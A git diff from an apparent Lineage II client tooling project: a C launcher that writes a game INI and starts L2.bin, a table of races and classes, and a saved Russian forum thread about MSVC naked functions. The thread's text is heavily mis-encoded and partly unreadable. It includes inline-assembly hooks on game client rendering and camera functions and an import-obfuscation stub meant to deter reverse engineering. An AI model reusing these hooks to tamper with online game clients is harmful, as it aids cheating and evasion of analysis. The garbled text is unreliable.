"Coronas=True", + "DecoLayers=True", + "Projectors=True", + "NoDynamicLights=False", + "ReportDynamicUploads=False", + "TextureDetailInterface=Higher", + "TextureDetailTerrain=Higher", + "TextureDetailWeaponSkin=Higher", + "TextureDetailPlayerSkin=Higher", + "TextureDetailWorld=Higher", + "TextureDetailRenderMap=Higher", + "TextureDetailLightmap=Higher", + "NoFractalAnim=False", + "ScaleHUDX=0.0", + "", + "[SDLDrv.SDLClient]", + "WindowedViewportX=640", + "WindowedViewportY=480", + "FullscreenViewportX=800", + "FullscreenViewportY=600", + "MenuViewportX=640", + "MenuViewportY=480", + "Brightness=0.800000", + "Contrast=0.700000", + "Gamma=0.800000", + "UseJoystick=True", + "JoystickNumber=0", + "IgnoreHat=False", + "JoystickHatNumber=0", + "CaptureMouse=True", + "StartupFullscreen=True", + "ScreenFlashes=True", + "NoLighting=False", + "MinDesiredFrameRate=35.000000", + "Decals=True", + "Coronas=True", + "DecoLayers=True", + "Projectors=True", + "NoDynamicLights=False", + "ReportDynamicUploads=False", + "TextureDetailInterface=Normal", + "TextureDetailTerrain=Normal", + "TextureDetailWeaponSkin=Normal", + "TextureDetailPlayerSkin=Normal", + "TextureDetailWorld=Normal", + "TextureDetailRenderMap=Normal", + "TextureDetailLightmap=UltraHigh", + "NoFractalAnim=False", + "", + "[Engine.Player]", + "ConfiguredInternetSpeed=10000", + "ConfiguredLanSpeed=20000", + "", + "[ALAudio.ALAudioSubsystem]", + "UseEAX=False", + "Use3DSound=False", + "UseDefaultDriver=False", + "CompatibilityMode=False", + "UsePrecache=True", + "ReverseStereo=false", + "Channels=32", + "MusicVolume=0.1", + "AmbientVolume=1.0", + "SoundVolume=1.0", + "DopplerFactor=1.0", + "Rolloff=0.5", + "TimeBetweenHWUpdates=15", + "DisablePitch=False", + "LowQualitySound=False", + "", + "[IpDrv.TcpNetDriver]", + "AllowDownloads=True", + "ConnectionTimeout=15.0", + "InitialConnectTimeout=500.0", + "AckTimeout=1.0", + "KeepAliveTime=0.2", + "MaxClientRate=20000", + "SimLatency=0", + "RelevantTimeout=5.0", + "SpawnPrioritySeconds=1.0", + "ServerTravelPause=4.0", + "NetServerMaxTickRate=20", + "LanServerMaxTickRate=35", + "DownloadManagers=IpDrv.HTTPDownload", + "DownloadManagers=Engine.ChannelDownload", + "", + "[IpDrv.HTTPDownload]", + "RedirectToURL=", + "ProxyServerHost=", + "ProxyServerPort=3128", + "UseCompression=True", + "", + "[Engine.DemoRecDriver]", + "DemoSpectatorClass=Warriors.CHSpectator", + "MaxClientRate=25000", + "ConnectionTimeout=15.0", + "InitialConnectTimeout=500.0", + "AckTimeout=1.0", + "KeepAliveTime=1.0", + "SimLatency=0", + "RelevantTimeout=5.0", + "SpawnPrioritySeconds=1.0", + "ServerTravelPause=4.0", + "NetServerMaxTickRate=60", + "LanServerMaxTickRate=60", + "", + "[Engine.GameReplicationInfo]", + "ServerName=Another Unreal Server", + "ShortName=Unreal Server", + "", + "[IpDrv.TcpipConnection]", + "SimPacketLoss=0", + "SimLatency=0", + "", + "[IpServer.UdpServerQuery]", + "GameName=ut", + "", + "[IpDrv.UdpBeacon]", + "DoBeacon=True", + "BeaconTime=0.50", + "BeaconTimeout=5.0", + "BeaconProduct=ut", + "", + "[XboxDrv.XboxClient]", + "TextureDetail=Medium", + "SkinDetail=Medium", + "LightmapDetail=High", + "TextureMinLOD=6", + "TextureMaxLOD=9", + "Brightness=0.8", + "Contrast=0.7", + "Gamma=0.8", + "NoFractalAnim=True", + "", + "[XBoxAudio.XBoxAudioSubsystem]", + "ReverseStereo=False", + "Channels=32", + "MusicVolume=1.0", + "SoundVolume=1.0", + "AmbientFactor=1.0", + "UsePrecache=True", + "", + "[D3DDrv.D3DRenderDevice]", + "DetailTextures=True", + "HighDetailActors=True", + "SuperHighDetailActors=True", + "UsePrecaching=True", + "UseTrilinear=True", + "AdapterNumber=-1", + "ReduceMouseLag=True", + "UseTripleBuffering=False", + "UseHardwareTL=True", + "UseHardwareVS=True", + "UseCubemaps=True", + "DesiredRefreshRate=60", + "UseCompressedLightmaps=True", + "UseStencil=True", + "Use16bit=False", + "Use16bitTextures=False", + "MaxPixelShaderVersion=255", + "UseVSync=False", + "LevelOfAnisotropy=1", + "DetailTexMipBias=0.8", + "DefaultTexMipBias=-0.5", + "UseNPatches=False", + "TesselationFactor=1.0", + "CheckForOverflow=False", + "", + "[OpenGLDrv.OpenGLRenderDevice]", + "DetailTextures=True", + "HighDetailActors=True", + "SuperHighDetailActors=True", + "UsePrecaching=True", + "UseCompressedLightmaps=True", + "UseTrilinear=True", + "UseStencil=False", + "MaxTextureUnits=8", + "VARSize=32", + "ReduceMouseLag=False", + "", + "[Engine.NullRenderDevice]", + "DetailTextures=True", + "HighDetailActors=True", + "SuperHighDetailActors=True", + "UsePrecaching=True", + "UseCompressedLightmaps=True", + "UseStencil=False", + "", + "[Editor.EditorEngine]", + "UseSound=True", + "CacheSizeMegs=32", + "GridEnabled=True", + "SnapVertices=False", + "SnapDistance=10.000000", + "GridSize=(X=16.000000,Y=16.000000,Z=16.000000)", + "RotGridEnabled=True", + "RotGridSize=(Pitch=1024,Yaw=1024,Roll=1024)", + "GameCommandLine=-log", + "FovAngleDegrees=90.000000", + "GodMode=True", + "AutoSave=True", + "AutoSaveTimeMinutes=5", + "AutoSaveIndex=6", + "UseAxisIndicator=True", + "MatineeCurveDetail=0.1", + "LoadEntirePackageWhenSaving=0", + "EditPackages=Core", + "EditPackages=Engine", + "EditPackages=Fire", + "EditPackages=Editor", + "EditPackages=UWindow", + "EditPackages=UnrealEd", + "EditPackages=IpDrv", + "EditPackages=GamePlay", + "EditPackages=LineageEffect", + "EditPackages=LineageWarrior", + "EditPackages=LineageNpc", + "EditPackages=LineageNpc2", + "EditPackages=LineageNpcEv", + "EditPackages=LineageMonster", + "EditPackages=LineageMonster2", + "EditPackages=LineageMonster3", + "EditPackages=LineageMonster4", + "EditPackages=LineageVehicle", + "EditPackages=LineageDeco", + "EditPackages=LineageCreature", + "EditPackages=LineageSceneInfo", + "EditPackages=UDebugMenu", + "EditPackages=NWindow", + "EditPackages=LineageSkillEffect", + ";EditPackages=WarEffects", + ";EditPackages=Decorations", + ";EditPackages=WarfareGame", + ";EditPackages=IHVDemoContent", + ";EditPackages=Pickups", + ";EditPackages=WarClassLight", + ";EditPackages=WarClassHeavy", + ";EditPackages=WarClassMisc", + ";EditPackages=AmbientCreatures", + ";EditPackages=Vehicles", + ";EditPackages=UPreview", + "", + "[UMenu.UnrealConsole]", + "RootWindow=UMenu.UMenuRootWindow", + "UWindowKey=IK_Esc", + "ShowDesktop=True", + "", + "[UMenu.UMenuMenuBar]", + "ShowHelp=True", + "GameUMenuDefault=UTMenu.UTGameMenu", + "MultiplayerUMenuDefault=UTMenu.UTMultiplayerMenu", + "OptionsUMenuDefault=UTMenu.UTOptionsMenu", + "", + "[Engine.GameInfo]", + "bLowGore=False", + "bVeryLowGore=False", + "", + "[UWeb.WebServer]", + ";Applications[0]=UTServerAdmin.UTServerAdmin", + ";ApplicationPaths[0]=/ServerAdmin", + ";Applications[1]=UTServerAdmin.UTImageServer", + ";ApplicationPaths[1]=/images", + "DefaultApplication=0", + "bEnabled=False", + "", + "[Engine.LevelInfo]", + "PhysicsDetailLevel=PDL_Medium", + "", + "[Engine.Console]", + "ConsoleKey=9", + "", + "[WindowPositions]", + "GameLog=(X=0,Y=0,XL=512,YL=256)", + "", + "[Secure]", + "SecureModule=False", + "", + "[PrimeShop]", + "UsePrimeShop=false" +}; + +int main() { + FILE *f = fopen("launcher.dat", "w"); + int i; + if (f==NULL) { + perror("Error! Nie mogę pisać do 'launcher.dat'"); + printf("%s\n", "Wszyscy zginiemy! Aaaaa!"); + system("PAUSE"); + return 1; + } + for (i = 0; i < LAUNCHER_DAT_LINES; i++) + fprintf(f, "%s\n", launcher_dat[i]); + fclose(f); + i = execlp("L2.bin", "L2.bin", "-INI=launcher.dat", (char *)0); + return i; +} \ No newline at end of file diff --git a/docs/l2_races_classes.ini b/docs/l2_races_classes.ini new file mode 100644 index 0000000..55bf25c --- /dev/null +++ b/docs/l2_races_classes.ini @@ -0,0 +1,163 @@ +// Lineage II races +L2MaxRaces = 6; +L2Race[0] = "Human"; +L2Race[1] = "Elf"; +L2Race[2] = "Dark Elf"; +L2Race[3] = "Orc"; +L2Race[4] = "Dwarf"; +L2Race[5] = "Kamael"; + +// Lineage II classes +L2MaxClasses = 137; +L2Class[0] = "Human Fighter"; +L2Class[1] = "Warrior"; +L2Class[2] = "Gladiator"; +L2Class[3] = "Warlord"; +L2Class[4] = "Knight"; +L2Class[5] = "Paladin"; +L2Class[6] = "Dark Avenger"; +L2Class[7] = "Rogue"; +L2Class[8] = "Treasure Hunter"; +L2Class[9] = "Hawkeye"; +L2Class[10] = "Human Mystic"; +L2Class[11] = "Human Wizard"; +L2Class[12] = "Sorceror"; +L2Class[13] = "Necromancer"; +L2Class[14] = "Warlock"; +L2Class[15] = "Cleric"; +L2Class[16] = "Bishop"; +L2Class[17] = "Prophet"; +L2Class[18] = "Elven Fighter"; +L2Class[19] = "Elven Knight"; +L2Class[20] = "Temple Knight"; +L2Class[21] = "Sword Singer"; +L2Class[22] = "Elven Scout"; +L2Class[23] = "Plains Walker"; +L2Class[24] = "Silver Ranger"; +L2Class[25] = "Elven Mystic"; +L2Class[26] = "Elven Wizard"; +L2Class[27] = "SpellSinger"; +L2Class[28] = "Elemental Summoner"; +L2Class[29] = "Elven Oracle"; +L2Class[30] = "Elven Elder"; +L2Class[31] = "Dark Fighter"; +L2Class[32] = "Paulus Knight"; +L2Class[33] = "Shillien Knight"; +L2Class[34] = "BladeDancer"; +L2Class[35] = "Assassin"; +L2Class[36] = "Abyss Walker"; +L2Class[37] = "Phantom Ranger"; +L2Class[38] = "Dark Mystic"; +L2Class[39] = "Dark Wizard"; +L2Class[40] = "Spellhowler"; +L2Class[41] = "Phantom Summoner"; +L2Class[42] = "Shillien Oracle"; +L2Class[43] = "Shillien Elder"; +L2Class[44] = "Orc Fighter"; +L2Class[45] = "Orc Raider"; +L2Class[46] = "Destroyer"; +L2Class[47] = "Orc Monk"; +L2Class[48] = "Tyrant"; +L2Class[49] = "Orc Mystic"; +L2Class[50] = "Orc Shaman"; +L2Class[51] = "Overlord"; +L2Class[52] = "Warcryer"; +L2Class[53] = "Dwarven Fighter"; +L2Class[54] = "Scavenger"; +L2Class[55] = "Bounty Hunter"; +L2Class[56] = "Artisan"; +L2Class[57] = "Warsmith"; +L2Class[88] = "Duelist"; +L2Class[89] = "Dreadnought"; +L2Class[90] = "Phoenix Knight"; +L2Class[91] = "HellKnight"; +L2Class[92] = "Sagittarius"; +L2Class[93] = "Adventurer"; +L2Class[94] = "Archmage"; +L2Class[95] = "Soultaker"; +L2Class[96] = "Arcana Lord"; +L2Class[97] = "Cardinal"; +L2Class[98] = "Hierophant"; +L2Class[99] = "Eva's Templar"; +L2Class[100] = "Sword Muse"; +L2Class[101] = "Wind Rider"; +L2Class[102] = "Moonlight Sentinel"; +L2Class[103] = "Mystic Muse"; +L2Class[104] = "Elemental Master"; +L2Class[105] = "Eva's Saint"; +L2Class[106] = "Shillien Templar"; +L2Class[107] = "Spectral Dancer"; +L2Class[108] = "Ghost Hunter"; +L2Class[109] = "Ghost Sentinel"; +L2Class[110] = "Storm Screamer"; +L2Class[111] = "Spectral Master"; +L2Class[112] = "Shillien Saint"; +L2Class[113] = "Titan"; +L2Class[114] = "Grand Khauatari"; +L2Class[115] = "Dominator"; +L2Class[116] = "Doomcryer"; +L2Class[117] = "Fortune Seeker"; +L2Class[118] = "Maestro"; +L2Class[123] = "Kamael Male Soldier"; +L2Class[124] = "Kamael Female Soldier"; +L2Class[125] = "Trooper"; +L2Class[126] = "Warder"; +L2Class[127] = "Berserker"; +L2Class[128] = "Soulbreaker (Male)"; //"Male Soulbreaker"; +L2Class[129] = "Soulbreaker (Female)"; //"Female Soulbreaker"; +L2Class[130] = "Arbalester"; +L2Class[131] = "Doombringer"; +L2Class[132] = "Soulhound (Male)"; // male +L2Class[133] = "Soulhound (Female)"; // female +L2Class[134] = "Trickster"; // female +L2Class[135] = "Inspector"; +L2Class[136] = "Judicator"; + +// Sex :) +L2MaxSexes = 2; +L2Sex[0] = "Male"; +L2Sex[1] = "Female"; + +// Races pictures depending on sex +// L2MaxRacePics = L2MaxRaces * L2MaxSexes; +L2RacePic[0] = "human_male.png"; +L2RacePic[1] = "human_female.png"; +L2RacePic[2] = "elf_male.png"; +L2RacePic[3] = "elf_female.png"; +L2RacePic[4] = "darkelf_male.png"; +L2RacePic[5] = "darkelf_female.png"; +L2RacePic[6] = "orc_male.png"; +L2RacePic[7] = "orc_female.png"; +L2RacePic[8] = "dwarf_male.png"; +L2RacePic[9] = "dwarf_female.png"; +L2RacePic[10] = "kamael_male.png"; +L2RacePic[11] = "kamael_female.png"; + +// NPC races/classes +// index is level of skill id = 4416 +L2MaxNPCRaces = 25; +L2NPCRace[0] = "NPC race index 0 not used"; +L2NPCRace[1] = "Undead"; +L2NPCRace[2] = "Magic Creatures"; +L2NPCRace[3] = "Beasts"; +L2NPCRace[4] = "Animals"; +L2NPCRace[5] = "Plants"; +L2NPCRace[6] = "Humanoids"; +L2NPCRace[7] = "Spirits"; +L2NPCRace[8] = "Angels"; +L2NPCRace[9] = "Demons"; +L2NPCRace[10] = "Dragons"; +L2NPCRace[11] = "Giants"; +L2NPCRace[12] = "Bugs"; +L2NPCRace[13] = "Fairies"; +L2NPCRace[14] = "Humans"; +L2NPCRace[15] = "Elves"; +L2NPCRace[16] = "Dark Elves"; +L2NPCRace[17] = "Orcs"; +L2NPCRace[18] = "Dwarves"; +L2NPCRace[19] = "Others"; +L2NPCRace[20] = "Non-living Beings"; +L2NPCRace[21] = "Siege Weapons"; +L2NPCRace[22] = "Defending Army"; +L2NPCRace[23] = "Mercenaries"; +L2NPCRace[24] = "Unknown Creature"; diff --git a/docs/l2client_internal_hooks.html b/docs/l2client_internal_hooks.html new file mode 100644 index 0000000..bec005b --- /dev/null +++ b/docs/l2client_internal_hooks.html @@ -0,0 +1,1703 @@ + + + + + +Форум программиÑтов [Powered by Invision Power Board] + + + + + + + + +
ВерÑÐ¸Ñ Ð´Ð»Ñ Ð¿ÐµÑ‡Ð°Ñ‚Ð¸ темы +
Ðажмите Ñюда Ð´Ð»Ñ Ð¿Ñ€Ð¾Ñмотра Ñтой темы в оригинальном формате +
Форум программиÑтов > C/C++: Ð”Ð»Ñ Ð½Ð¾Ð²Ð¸Ñ‡ÐºÐ¾Ð² > msvc2008 bug???
+
+
+ + + + + + +
Ðвтор: GoldFinch 6.12.2008, 19:14
Код

#include "stdafx.h"

__declspec(naked) int Foo(int arg)
{__asm{
    _emit 0xCC
    mov eax,[arg]
    ret
}};

int _tmain(int argc, _TCHAR* argv[])
{
    return Foo(1);
}

Код

00401000  /$  CC            INT3
00401001  |.  8B45 +08       MOV EAX,DWORD +PTR [EBP+8]                ;<<<<< ebp +o_O
00401004  \.  C3            RETN
00401005      CC            INT3
...
0040100F      CC            INT3
00401010  /$  6A 01         PUSH 1
00401012  |.  E8 E9FFFFFF   CALL cpp_asm_.00401000
00401017  |.  83C4 04       ADD ESP,4
0040101A  \.  C3            RETN

Ñто баг или "фича"? о_О
+
+ + + + + + +
Ðвтор: Kallikanzarid 6.12.2008, 19:23
Рчто ты ожидал? Ð’ ebp хранитÑÑ ÑƒÐºÐ°Ð·Ð°Ñ‚ÐµÐ»ÑŒ на фрейм:
http://en.wikipedia.org/wiki/Frame_pointer
+
+ + + + + + +
Ðвтор: GoldFinch 6.12.2008, 19:33
Kallikanzarid, фрейма нету, какбÑ
читай код в 1м поÑте полноÑтью
+
+ + + + + + +
Ðвтор: MAKCim 6.12.2008, 19:44
GoldFinch
хм, реально баг получаетÑÑ
+
+ + + + + + +
Ðвтор: Kallikanzarid 6.12.2008, 20:03
Точно, должно быть esp  smile 
Попробуй поÑтавить ÑÐµÑ€Ð²Ð¸Ñ Ð¿Ð°Ðº, может, поможет.
+
+ + + + + + +
Ðвтор: J0ker 7.12.2008, 01:01
вÑе верно
в прологе esp ÑохранÑетÑÑ Ð² ebp, и от ebp ÑчитаютÑÑ Ð°Ñ€Ð³ÑƒÐ¼ÐµÐ½Ñ‚Ñ‹
так что вÑе правильно
неправильно в naked иÑпользовать аргумент - Ñ‚.к. компайлер плюет, что вы отказалиÑÑŒ от пролога и Ñпилога
+
+ + + + + + +
Ðвтор: dumb 7.12.2008, 04:46
хм. http://msdn.microsoft.com/en-us/library/4d12973a(VS.80).aspx Ð¿Ñ€Ð¾ +аргументы ничего такого не Ñказано, однако упомÑнуто авто-отключение +Frame pointer optimization Ð´Ð»Ñ naked функций. Ñ‚.е. компилер +раÑÑчитывает на то, что руками фрÑйм таки будет Ñоздан, что он и +демонÑтрирует.
+
+ + + + + + +
Ðвтор: Kallikanzarid 7.12.2008, 08:54
GoldFinch, ЕÑли +нет Ð¶ÐµÐ»Ð°Ð½Ð¸Ñ Ð¸Ñпользовать фрейм, попробуй __fastcall. ЕМÐИП, два двойных +Ñлова ты Ñ ÐµÐ³Ð¾ помощью без проблем передашь даже без фрейма. Ð’ принципе +можно одним из них передавать указатель на объект, в котором хранÑÑ‚ÑÑ +оÑтальные параметры.
+
+ + + + + + +
Ðвтор: J0ker 7.12.2008, 09:04
ну прÑм лень фрейм выÑтавить - 2 инÑтрукции в начале и 2 в конце
+
+ + + + + + +
Ðвтор: GoldFinch 7.12.2008, 10:29
Kallikanzarid, в +msdn Ñказано что при __fastcall компилÑтор не гарантирует очередноÑть +параметров, Ñ‚.е. неизвеÑтно какой окажетÑÑ Ð² eax а какой edx. Кроме +того, в большинÑтве Ñлучаев аргументы лежат в Ñтеке.

J0ker, +Ñ Ð¿Ñ€Ð¸Ð²Ñ‹Ðº к тому что когда Ñ Ð¿Ð¸ÑˆÑƒ на аÑме, Ñ Ð¿Ð¸ÑˆÑƒ как Ñ Ñ…Ð¾Ñ‡Ñƒ, а не так +как того хочет конпилÑтор. может у Ð¼ÐµÐ½Ñ Ð¾Ð³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð½Ð° длину кода, мне +тогда Ñтот фрейм впихнуть некуда, более того, он в Ñ€Ñде Ñлучаев проÑто +не нужен.
+
+ + + + + + +
Ðвтор: Kallikanzarid 7.12.2008, 14:26
GoldFinch, ЕÑли +бы ты пиÑал под мобильники, то юзал бы Ñвно не Ñтудию. Уменьшение +размера кода даже на килобайт абÑолютно незаметно. Теоретик, блин smile

ЗЫ: Зачем тебе нужны naked функции?

КÑтати, еÑли тебе так противен фрейм, можешь Ñпокойно выÑчитывать раÑположение параметров Ñам.
+
+ + + + + + +
Ðвтор: GoldFinch 7.12.2008, 15:20
Kallikanzarid, еÑли бы ты пиÑал на аÑме, ты бы знал зачем надо уменьшать код, зачем нужны naked функции
выÑчитывать раÑположение параметров Ñамому глупо, Ñтим должен заниматьÑÑ ÐºÐ¾Ð¼Ð¿Ð¸Ð»Ñтор, тем более что Ñто аÑм вÑтроенный в ЯВУ
+
+ + + + + + +
Ðвтор: Kallikanzarid 7.12.2008, 15:45
Цитата

еÑли бы ты пиÑал на аÑме, ты бы знал зачем надо уменьшать код, зачем нужны naked функции

О да, Ñ Ñ‚Ð°ÐºÐ¾Ð¹ глупый, проÑто оторопь берет!  smile Ðе желаю Ñкономить 10 байт на функцию - проÑто кошмар!

Ты хоть профилировщик запуÑкал прежде, чем прибегать к таким мерам? Или тебе 4мб L2-кÑша заранее мало?

Цитата

выÑчитывать раÑположение параметров Ñамому глупо, Ñтим должен заниматьÑÑ ÐºÐ¾Ð¼Ð¿Ð¸Ð»Ñтор

ПиÑать пролог Ñамому глупо, Ñтим должен заниматьÑÑ ÐºÐ¾Ð¼Ð¿Ð¸Ð»Ñтор.

ЗЫ:
Цитата

при __fastcall компилÑтор не гарантирует очередноÑть параметров, Ñ‚.е. неизвеÑтно какой окажетÑÑ Ð² eax а какой edx.

Ртебе зачем Ñто знать? ОбращайÑÑ Ðº параметрам по имени.
+
+ + + + + + +
Ðвтор: GoldFinch 7.12.2008, 16:37
Kallikanzarid, вот еÑть у Ð¼ÐµÐ½Ñ Ð½Ð°Ð¿Ñ€Ð¸Ð¼ÐµÑ€ такой код:
Код

__declspec(naked) ttt func(...) {__asm jmp $+5 __asm nop __asm push rva __asm call imp_core }

__declspec(naked) void imp_core(int rva)
//make import
{ __asm{
    //_emit 0xCC
    pop eax // =func+0x10
    pop edx // =rva
    add edx,[g_hCore] // = VA
    push edx
    sub edx,eax //=org_func-(func+0x10)
    add edx,0x10-5 //=org_func-(func+5)
    mov [eax-0x10+1],edx
    ret
}}

куда здеÑÑŒ воткнуть ebp фреймы?
+
+ + + + + + +
Ðвтор: Kallikanzarid 7.12.2008, 16:45
БоюÑÑŒ даже предÑтавить smile Ð что делает Ñтот код?
+
+ + + + + + +
Ðвтор: dumb 7.12.2008, 16:53
чем бы не тешилоÑÑŒ...
Ñам же запутаешьÑÑ Ð² Ñтом г..не(иных Ñлов не подбираетÑÑ) через неделю.
оÑтаетÑÑ Ð½Ð°Ð´ÐµÑтьÑÑ, что Ñти Ð¸Ð·Ð²Ñ€Ð°Ñ‰ÐµÐ½Ð¸Ñ Ð½Ðµ имеют Ð¾Ñ‚Ð½Ð¾ÑˆÐµÐ½Ð¸Ñ Ðº чему-то, чем будут пользоватьÑÑ Ð»ÑŽÐ´Ð¸.
+
+ + + + + + +
Ðвтор: GoldFinch 7.12.2008, 17:01
реализует "ленивые" Ð¸Ð¼Ð¿Ð¾Ñ€Ñ‚Ñ‹
да там же вÑе понÑтно, что он делает, вÑего-то деÑÑток Ñтрочек
+
+ + + + + + +
Ðвтор: GoldFinch 7.12.2008, 17:46
dumb, Ñто +хорошо, что ты не понÑл Ñтого кода. Он призван вызывать ÑвÑщенный +трепет, а то и ужаÑ, перед аÑмом у тех ламеров, кто полезет Ñ Ð˜Ð”Ð +узнавать какие импорты юзаютÑÑ Ð² моей проге. Ð¥Ð¾Ñ‚Ñ ÐºÐ¾Ð´ крайне тривиален, +Ñ Ð´ÑƒÐ¼Ð°ÑŽ найдетÑÑ Ð½ÐµÐ¼Ð°Ð»Ð¾ людей которые иÑпугаютÑÑ ÑƒÐ²Ð¸Ð´ÐµÐ² Ñто, и не +Ñтанут копать мою прогу.
=)
+
+ + + + + + +
Ðвтор: Kallikanzarid 7.12.2008, 17:51
Цитата

Ð¥Ð¾Ñ‚Ñ ÐºÐ¾Ð´ крайне тривиален, Ñ Ð´ÑƒÐ¼Ð°ÑŽ найдетÑÑ Ð½ÐµÐ¼Ð°Ð»Ð¾ людей которые иÑпугаютÑÑ ÑƒÐ²Ð¸Ð´ÐµÐ² Ñто, и не Ñтанут копать мою прогу.

Главное, чтобы боÑÑ Ð±Ñ‹Ð» не в их чиÑле  smile 
+
+ + + + + + +
Ðвтор: J0ker 7.12.2008, 19:06
Цитата(GoldFinch @  7.12.2008,  10:29 Ðайти цитируемый поÑÑ‚)
J0ker, +Ñ Ð¿Ñ€Ð¸Ð²Ñ‹Ðº к тому что когда Ñ Ð¿Ð¸ÑˆÑƒ на аÑме, Ñ Ð¿Ð¸ÑˆÑƒ как Ñ Ñ…Ð¾Ñ‡Ñƒ, а не так +как того хочет конпилÑтор. может у Ð¼ÐµÐ½Ñ Ð¾Ð³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð½Ð° длину кода, мне +тогда Ñтот фрейм впихнуть некуда, более того, он в Ñ€Ñде Ñлучаев проÑто +не нужен.

в документации оговорена ÑÐ¿ÐµÑ†Ð¸Ñ„Ð¸ÐºÐ°Ñ†Ð¸Ñ naked - во-первых
во-вторых +- как ты хочешь, что-бы компилÑтор поÑчитал аргументы? он же не знает +твои манипулÑции Ñо Ñтеком до иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð°Ñ€Ð³ÑƒÐ¼ÐµÐ½Ñ‚Ð¾Ð² - ИМХО вполне +оправдано что раÑчет аргументов опираетÑÑ Ð½Ð° предположение, что фрейм +уÑтановлен - иначе никак
еÑли не нужен фрейм - Ñчитай аргументы Ñам - компилÑтор Ñто Ñделать иначе не может

Добавлено через 3 минуты и 10 Ñекунд
Цитата(GoldFinch @  7.12.2008,  17:46 Ðайти цитируемый поÑÑ‚)
перед аÑмом у тех ламеров, кто полезет Ñ Ð˜Ð”Ð 

неÑколько противоречивое выÑказывание  smile 
+
+ + + + + + +
Ðвтор: GoldFinch 7.12.2008, 19:34
J0ker, впринципе логично, что компилÑтор не разбирает аÑм-код
Ñ…Ð¾Ñ‚Ñ Ð¼Ð¾Ð³Ð»Ð¸ бы Ñто и Ñделать... не бином ньютона =\
+
+ + + + + + +
Ðвтор: J0ker 7.12.2008, 19:38
Цитата(GoldFinch @  7.12.2008,  19:34 Ðайти цитируемый поÑÑ‚)
Ñ…Ð¾Ñ‚Ñ Ð¼Ð¾Ð³Ð»Ð¸ бы Ñто и Ñделать... не бином ньютона =\ 

бином
предположим, ты выделÑешь на Ñтеке маÑÑив Ñ Ñ€Ð°Ð·Ð¼ÐµÑ€Ð¾Ð¼, взÑтым из одного из параметров - в Ñтиле C99
+
+ + + + + + +
Ðвтор: GoldFinch 7.12.2008, 19:45
J0ker, хм... ну тогда Ñтоило бы выдавать ошибку компилÑции, или хотÑбы Ñвно напиÑать об Ñтой "фиче" Ð² документации %)
+
+ + + + + + +
Ðвтор: J0ker 7.12.2008, 20:23
Цитата(GoldFinch @ 7.12.2008,  19:45)
J0ker, хм... ну тогда Ñтоило бы выдавать ошибку компилÑции, или хотÑбы Ñвно напиÑать об Ñтой "фиче" Ð² документации %)

http://msdn.microsoft.com/en-us/library/5ekezyy2(VS.80).aspx
http://msdn.microsoft.com/en-us/library/4d12973a(VS.80).aspx
Цитата

Frame +pointer optimization (the /Oy compiler option) is not recommended, but +it is automatically suppressed for a naked function.
+
+ + + + + + +
Ðвтор: GoldFinch 8.12.2008, 00:46
раз уж речь пошла о пользе naked, подÑкажите как тут избавитьÑÑ Ð¾Ñ‚ аÑма:

Код

//hook #1
void __stdcall OnRenderHook(FPlayerSceneNode *PlayerSceneNode,FRenderInterface *RenderInterface) ;
void __thiscall FPlayerSceneNode::Render(FRenderInterface *);
__declspec(naked) void __stdcall Hook_FPlayerSceneNode_Render(FRenderInterface *) 
{_asm{
    push dword ptr [esp+4]//arg1
    push ecx
    push dword ptr [esp+4]//arg1
    call FPlayerSceneNode::Render
    call OnRenderHook
    ret 4
}}

//hook #2
void __thiscall ALineagePlayerController::PlayerCalcView(class AActor *, class FVector *, class FRotator *);
__declspec(naked) void +__stdcall Hook_ALineagePlayerController_PlayerCalcView(class AActor *, +class FVector *, class FRotator *) 
{_asm{
    mov eax,dword ptr [esp+0xC]//arg3
    mov eax,dword ptr [eax+4]//2nd field
    mov dword ptr [g_Direction],eax
    jmp ALineagePlayerController::PlayerCalcView
}}
+
+ + + + + + +
Ðвтор: mes 8.12.2008, 10:52
 smile Ð² +упор не понимаю, почему не Ñделать делегацию ÑредÑтвами Ñзыка (cpp), a +нужно прибегать к низкоуровневым непереноÑимым ÑредÑтвам ... smile 
+
+ + + + + + +
Ðвтор: Kallikanzarid 8.12.2008, 11:07
GoldFinch, ur crazy  smile 
ПожалуйÑта, +Ñкажи, что Ñто профайлер показал, что необходимо вручную передавать +параметр через региÑтр. Или иÑпользовать глобальную переменную. Или +вручную раÑчитывать Ñмещение Ð¿Ð¾Ð»Ñ Ð² объекте (ничего, кÑтати, что Ñто +нарушает инкапÑулÑцию?). Ðе Ð³Ð¾Ð²Ð¾Ñ€Ñ ÑƒÐ¶Ðµ о том, что рекомендуетÑÑ +передавать объекты по ÑÑылкам, а не по указателÑм. Я начинаю боÑÑ‚ÑÑ Ð·Ð° +будущее Земли. 

ЗЫ: твой код неÑффективен. Ты два раза +заноÑишь в Ñтек один и тот же параметр. ÐаÑтоÑщий ПрограммиÑÑ‚ бы Ñделал +так, чтобы Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Render поÑле вызова оÑтавлÑла его в Ñтеке, а Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ +OnRender - иÑпользовала повторно. Ты неÑффективен!
+
+ + + + + + +
Ðвтор: dumb 8.12.2008, 11:40
тьфу ты. неужели вмеÑто +того, чтобы нормально опиÑать Ñитуевину, мол "развешиваю хуки в +игрушке", надо было "выеживатьÑÑ" Ð² потугах ÑамоутверждениÑ? +Ñтот Ð²Ð¾Ð¿Ñ€Ð¾Ñ Ñ€Ð¸Ñ‚Ð¾Ñ€Ð¸Ñ‡ÐµÑкий.

в данном Ñлучае избавлÑтьÑÑ Ð¾Ñ‚ аÑма +imho оÑобого ÑмыÑла нет - тебе нужно Ñделать Ñовершенно определенные +низкоуровневые трики, и еÑли их пытатьÑÑ Ð¿ÐµÑ€ÐµÐ¿Ð¸Ñать на С, получишь кучу +неоднозначноÑтей и уÑловноÑтей, не Ð³Ð¾Ð²Ð¾Ñ€Ñ ÑƒÐ¶Ðµ о том, что код получитÑÑ, +Ñкорее вÑего, гораздо менее "прозрачным".
так же как и нет +ÑмыÑла вкрÑчивать в выÑокоуровневый код примитивную защиту извращаÑÑÑŒ Ñ +дефайнами и вÑтавками - Ð´Ð»Ñ ÑнÑÑ‚Ð¸Ñ Ð¾Ð½Ð¾Ð¹ вовÑе не обÑзательно, чтобы +механизм понимал любой "ламер" - доÑтаточно одного немного +продвинутого заинтереÑованного человека.

